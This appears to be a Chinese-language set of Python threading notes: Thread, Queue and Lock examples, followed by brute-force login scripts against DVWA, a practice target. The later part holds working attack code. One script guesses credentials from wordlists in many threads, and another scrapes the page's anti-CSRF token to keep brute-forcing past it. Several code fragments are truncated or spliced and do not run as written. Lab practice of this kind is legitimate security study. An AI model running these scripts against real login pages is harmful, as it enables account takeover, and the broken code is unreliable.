import threading
def thread_job():
    print("This is an added Thread,number is %s" % threading.current_thread())
def main():

    #查看现在有几个线程被激活
    # [ < _MainThread(MainThread, started  17940) >]:默认的主程序的线程
    print(threading.active_count())
    # 查询被激活的线程都叫什么
    print(threading.enumerate())
    # 显示当前运行的程序是属于那个线程
    print(threading.current_thread())
    # 定义一个线程，括号里面写让线程执行的工作
    added_thread = threading.Thread(target=thread_job)
    added_thread.start() # 执行线程

    main()

多线程的应用：

import threading
import time

def thread_job():
    print('我是T1线程：T1 start')
    for i in range(10):
        time.sleep(0.1)
    print("我是T1线程：T1 finish")
def T2_job():
    print('我是T2线程：T2 start')
    print("我是T2线程：T2 finish")
def main():

    '''
    target:让线程执行的工作
    name:为这个线程取的名字
    :return:
    '''
    added_thread = threading.Thread(target=thread_job,name='T1')
    thread2 = threading.Thread(target=T2_job,name='T2')
    added_thread.start() # 执行线程
    thread2.start()
    print('我跟T1线程同步执行')
    # 如果希望自己的代码在线之后完成用join()
    thread2.join()
    print('我在T2线程执行后执行')
if __name__ == '__main__':
    main()

Queue功能：

import threading
import time
from queue import Queue

def job(l,q):
    for i in range(len(l)):
        l[i]=l[i]**2
    q.put(l)
def multithreading():
    q = Queue()
    threads = [] # 线程列表
    data = [[1,2,3],[3,4,5],[4,4,4],[5,5,5]]
    for i in range(4):
        '''
        定义4个线程，并用列表保存起来
        '''
        t  = threading.Thread(target=job,args=(data[i],q))
        t.start()
        threads.append(t)
    for thread in threads:
        '''
        把每一线程都一次加载到主线程中
        '''
        thread.join()
    result=[]
    for _ in range(4):
        result.append(q.get())
    print(result)

if __name__ == '__main__':
    multithreading()

lock:

import threading

from queue import Queue

def job1():
    global A
    lock.acquire()
    for i in range(10):
        A+=1
        print('job2',A)
    lock.release()
def job2():
    global A
    lock.acquire() # 设定锁
    '''
    锁上后job1就不会接触到这一段
    '''
    for i in range(10):
        A+=10
        print('job2',A)
    lock.release() # 释放锁
if __name__ == '__main__':
    A=0
    lock = threading.Lock()
    t1 = threading.Thread(target=job1)

    t2.join()

针对DVWA的多线程爆破：

import requests
import urllib.parse
import threading
import time
FLAG = 0
def getPayload(nameList,pwdList):
    with open(nameList,'r') as f:
        with open(pwdList,'r') as ff:
            n=f.readlines()
            p=ff.readlines()
    ii=0
    for i in n:
        n[ii]=i.strip()
        ii+=1
    ii = 0
    for i in p:
        p[ii] = i.strip()
        ii += 1
    return [n,p]
def main(name,pwd,flag):
    global FLAG
    for i in name:
        addthread = threading.Thread(target=burpForce,args=(i,pwd,flag))
        if FLAG==0:
            addthread.start()
def burpForce(i,p,flag,user_token=None):
    global  FLAG
    headers={
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36',
        'Cookie':'PHPSESSID=0lmbgvv0f96hmpoqqegn8cp6l0; security=high'
    }
    for j in p:
        url = "http://192.168.171.130:2333/DVWA/vulnerabilities/brute/?username={0}&password={1}&Login=Login#".format(urllib.parse.quote(i),urllib.parse.quote(j))
        re = requests.get(url=url,headers=headers)
        print(">>"+url)
        if re.status_code ==200 and flag in re.text:
            print(">>用户名：{}，密码：{}".format(i,j))
            FLAG=1
            return

    name,pwd = getPayload('F:/饶狗狗的私人书架/user.txt',"F:/饶狗狗的私人书架/passowrd.txt")
    main(name,pwd,flag='Welcome to')

Token验证的爆破[没用到线程]：

            p=ff.readlines()
    ii=0
    for i in n:
        n[ii]=i.strip()
        ii+=1
    ii = 0
    for i in p:
        p[ii] = i.strip()
        ii += 1
    return [n,p]

def main(name,pwd,flag):
    user_token = burpForce(flag=flag,init=True)
    for i in name:
        for j in pwd:
            res = burpForce(flag=flag,user_name=i,password=j,user_token=user_token)
            if res !='YES':
                user_token=res
            else:
                return
def burpForce(flag,user_name=None,password=None,user_token=None,init=False):
    global headers,url
    parm={}
    if not init:
        parm = {
            'username': user_name,
            'password': password,
            'Login': 'Login',
            'user_token': user_token
        }
    re = requests.get(url=url,params=parm,headers=headers)
    print(re.url)
    if re.status_code == 200:
        if flag in re.text:
            print(">>用户名：{}，密码：{}".format(user_name,password))
            return 'YES'
        else:
            token = etree.HTML(re.text).xpath('//input[@type="hidden"]/@value')
            return token[0]
